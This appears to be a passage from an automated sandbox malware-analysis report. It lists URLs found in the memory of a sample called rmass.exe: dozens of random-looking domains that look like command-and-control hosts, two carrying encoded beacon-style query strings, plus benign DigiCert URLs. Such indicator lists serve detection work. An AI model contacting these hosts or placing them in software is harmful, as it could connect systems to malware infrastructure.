Source: rmass.exe, 00000002.00000003.4519485718.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4509916272.0000000000748000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4492190559.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4480638970.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4509694840.0000000000733000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4501806806.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4499610123.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://avscooaicdshq.mp/m
Source: rmass.exe, 00000002.00000003.4492190559.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://avscooaicdshq.mp/stem32
Source: rmass.exe, 00000002.00000003.4492190559.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4480638970.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4499610123.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://avscooaicdshq.mp/u
Source: rmass.exe, 00000002.00000003.4348788747.000000000072D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aypoarfksecsc.st/
Source: rmass.exe, 00000002.00000003.2972260914.0000000000746000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ayvoq.tk/
Source: rmass.exe, 00000002.00000003.2972260914.0000000000746000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ayvoq.tk/K
Source: explorer.exe, 00000005.00000000.2089393533.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4545904465.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2089393533.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4545904465.000000000978C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: rmass.exe, 00000002.00000003.2946825143.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2941788239.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2902610337.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2929338310.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2906024147.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2909817688.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2902650556.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2935868459.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2939625094.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cnatouspvkh.mp/
Source: rmass.exe, 00000002.00000003.4393881562.000000000074A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4394144009.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://coiibqmkmgy.m
Source: rmass.exe, 00000002.00000003.4414076299.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://coiibqmkmgy.museum/
Source: rmass.exe, 00000002.00000003.4393881562.000000000074A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4389504914.0000000000759000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4389304698.0000000000744000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4394144009.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4414076299.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://coiibqmkmgy.museum/M
Source: rmass.exe, 00000002.00000003.3447789666.0000000000758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://conprak.st/
Source: explorer.exe, 00000005.00000000.2089393533.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4545904465.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2089393533.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4545904465.000000000978C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000005.00000000.2089393533.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4545904465.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2089393533.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4545904465.000000000978C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: rmass.exe, 00000002.00000003.2941788239.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2929338310.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2906024147.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2909817688.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2935868459.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2939625094.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cskyklyesjs.mp/
Source: rmass.exe, 00000002.00000003.3949980303.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3944225241.0000000000731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cxlowsxgyq.mp/
Source: rmass.exe, 00000002.00000003.3949980303.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3944225241.0000000000731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cxlowsxgyq.mp/u
Source: rmass.exe, 00000002.00000003.3961714061.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3958019833.0000000000731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dyueyt.nu
Source: rmass.exe, 00000002.00000003.3961714061.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3958019833.0000000000731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dyueyt.nu/
Source: rmass.exe, 00000002.00000003.4158982239.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4156178438.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4137784481.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dzqug.pw/
Source: rmass.exe, 00000002.00000003.3695041346.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702772696.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3704229849.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702941321.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3688133210.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3684932912.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702678755.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ecceuleyq.tk/
Source: rmass.exe, 00000002.00000003.3695041346.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702772696.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3704229849.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702941321.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3688133210.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3684932912.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702678755.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ecceuleyq.tk/1M
Source: rmass.exe, 00000002.00000003.3684932912.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ecceuleyq.tk/=M
Source: rmass.exe, 00000002.00000003.3806713404.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3949980303.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3671499433.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3684878778.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3841425635.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3961714061.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702747394.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3843952226.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702941321.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3672630664.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803470948.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3806807667.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3832343429.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803542506.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3854640452.000000000074C000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3769929491.0000000000741000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3655798825.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3710241633.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3824118850.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3863286738.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3902442550.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eodljipg.pw/
Source: rmass.exe, 00000002.00000003.4051242534.0000000000778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://epqexyxenaeic.cd/F
Source: rmass.exe, 00000002.00000003.4379135832.0000000000732000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4394144009.0000000000783000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4393881562.0000000000783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eqjpscl.cd/
Source: rmass.exe, 00000002.00000003.4379159872.0000000000783000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4389504914.0000000000783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eqjpscl.cd/d-
Source: rmass.exe, 00000002.00000003.3803470948.000000000072F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eqwmxcdrpj.mu
Source: rmass.exe, 00000002.00000003.3803470948.000000000072F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eqwmxcdrpj.museum/
Source: rmass.exe, 00000002.00000003.3803470948.000000000072F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eqwmxcdrpj.museum/YA
Source: rmass.exe, 00000002.00000003.3803470948.000000000072F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eqwmxcdrpj.museum/aA
Source: rmass.exe, 00000002.00000003.3803470948.000000000072F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eqwmxcdrpj.museum/qA
Source: rmass.exe, 00000002.00000003.3949980303.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3944225241.0000000000731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fdpempn.museum/
Source: rmass.exe, 00000002.00000003.3949980303.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3944225241.0000000000731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fdpempn.museum/%M
Source: rmass.exe, 00000002.00000003.3944225241.0000000000731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fdpempn.museum/eK
Source: rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://glyaguaikeq.pw/
Source: rmass.exe, 00000002.00000003.4328050841.0000000000738000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gnkag.museum/
Source: rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gozeewgdu.nu/
Source: rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gozeewgdu.nu/rsion
Source: rmass.exe, 00000002.00000003.2858277902.000000000074F000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2854853606.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gsomh.pw/
Source: rmass.exe, 00000002.00000003.4202339480.0000000000742000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4192853398.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4188325824.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4185505448.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187741455.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4186369949.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4200128318.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gtmubeksl.tk/
Source: rmass.exe, 00000002.00000003.4202339480.0000000000742000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4192853398.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4188325824.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4185505448.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187741455.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4186369949.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4200128318.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gtmubeksl.tk/k
Source: rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gwmswyupyceds.mp/
Source: rmass.exe, 00000002.00000003.4192853398.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4188325824.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4185505448.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187741455.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4186369949.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gwmswyupyceds.mp/L5
Source: rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gwmswyupyceds.mp/esses
Source: rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gwmswyupyceds.mp/qug.pw
Source: rmass.exe, 00000002.00000003.3770028181.000000000072D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gzeavioqi.mp/
Source: rmass.exe, 00000002.00000003.3770028181.000000000072D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gzeavioqi.mp/oft
Source: rmass.exe, 00000002.00000003.3426570532.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gzgjpnqgthsast.tk/
Source: rmass.exe, 00000002.00000003.3068606663.000000000074C000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3050442649.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3050442649.000000000074C000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3047173395.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3141905625.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3047310160.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3061937137.000000000074C000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3125929020.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hftqf.mp/
Source: rmass.exe, 00000002.00000003.3050442649.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3047310160.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hftqf.mp/d
Source: rmass.exe, 00000002.00000003.3050442649.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3047310160.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hftqf.mp/d9M
Source: rmass.exe, 00000002.00000003.3050442649.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3047310160.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hftqf.mp/ed5M
Source: rmass.exe, 00000002.00000003.3050442649.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3047310160.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hftqf.mp/t
Source: rmass.exe, 00000002.00000003.3050442649.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3068606663.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://icfuk.cd/
Source: rmass.exe, 00000002.00000003.3050442649.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://icfuk.cd/d
Source: rmass.exe, 00000002.00000003.3050442649.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://icfuk.cd/ed
Source: rmass.exe, 00000002.00000003.3050442649.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://icfuk.cd/t
Source: rmass.exe, 00000002.00000003.3050442649.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://icfuk.cd/t/
Source: rmass.exe, 00000002.00000003.3050442649.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://icfuk.cd/t/4Q
Source: rmass.exe, 00000002.00000003.4365578065.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4389504914.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4250572732.0000000000776000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4328537379.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4289110749.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4414076299.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4394144009.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4329895459.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4461083220.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4419679356.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4263046494.0000000000777000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4330074480.0000000000776000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4254627678.0000000000777000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4285930171.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4461194493.0000000000776000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4393881562.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4352362211.0000000000777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://idyxomuegyumh.pw/
Source: rmass.exe, 00000002.00000003.4250572732.0000000000776000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4263046494.0000000000777000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4254627678.0000000000777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://idyxomuegyumh.pw/L5
Source: rmass.exe, 00000002.00000003.4365578065.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4389504914.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4328537379.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4289110749.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4414076299.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4394144009.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4419679356.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4285930171.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4393881562.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4352362211.0000000000777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://idyxomuegyumh.pw/N1
Source: rmass.exe, 00000002.00000003.4250572732.0000000000776000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4263046494.0000000000777000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4254627678.0000000000777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://idyxomuegyumh.pw/w
Source: rmass.exe, 00000002.00000003.4365578065.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4389504914.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4250572732.0000000000776000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4328537379.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4289110749.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4329895459.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4263046494.0000000000777000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4330074480.0000000000776000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4254627678.0000000000777000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4285930171.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4393881562.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4352362211.0000000000777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://idyxomuegyumh.pw/~
Source: rmass.exe, 00000002.00000003.4202339480.0000000000742000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4192853398.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4188325824.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4185505448.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187741455.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4186369949.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4200128318.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iidoygkltzmou.pw/
Source: rmass.exe, 00000002.00000003.3640578355.0000000000749000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://imbwsomexosgk.mp/
Source: rmass.exe, 00000002.00000003.3671499433.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3684878778.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702747394.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3672630664.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3655798825.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3640578355.0000000000749000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3664023702.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3677758662.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3658375367.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3649369882.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://imbwsomexosgk.mp/Q
Source: rmass.exe, 00000002.00000003.3209181789.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3205510264.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3219168569.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3210318884.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://imncrmx.cd/
Source: rmass.exe, 00000002.00000003.3205510264.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://imncrmx.cd/8Q
Source: rmass.exe, 00000002.00000003.4192853398.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4188325824.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4185505448.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187741455.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4186369949.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://imoqqcxc.cd/
Source: rmass.exe, 00000002.00000003.4192853398.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4188325824.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4185505448.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187741455.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4186369949.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://imoqqcxc.cd/d
Source: rmass.exe, 00000002.00000003.4222933084.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://isfusus-omoab.biz
Source: rmass.exe, 00000002.00000003.4414076299.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://isfusus-omoab.biz/d/N?0204EC323604EC32362AEC1E3604ECFF6FA65DFEF405ECF29E06EA041836C20B0434DC1
Source: rmass.exe, 00000002.00000003.4509694840.0000000000733000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://isfusus-omoab.biz/d/N?0220D3FA3F20D3FA3F0ED3D63F20D33766826236FD21D33A9722D5CC1112FDC30D1
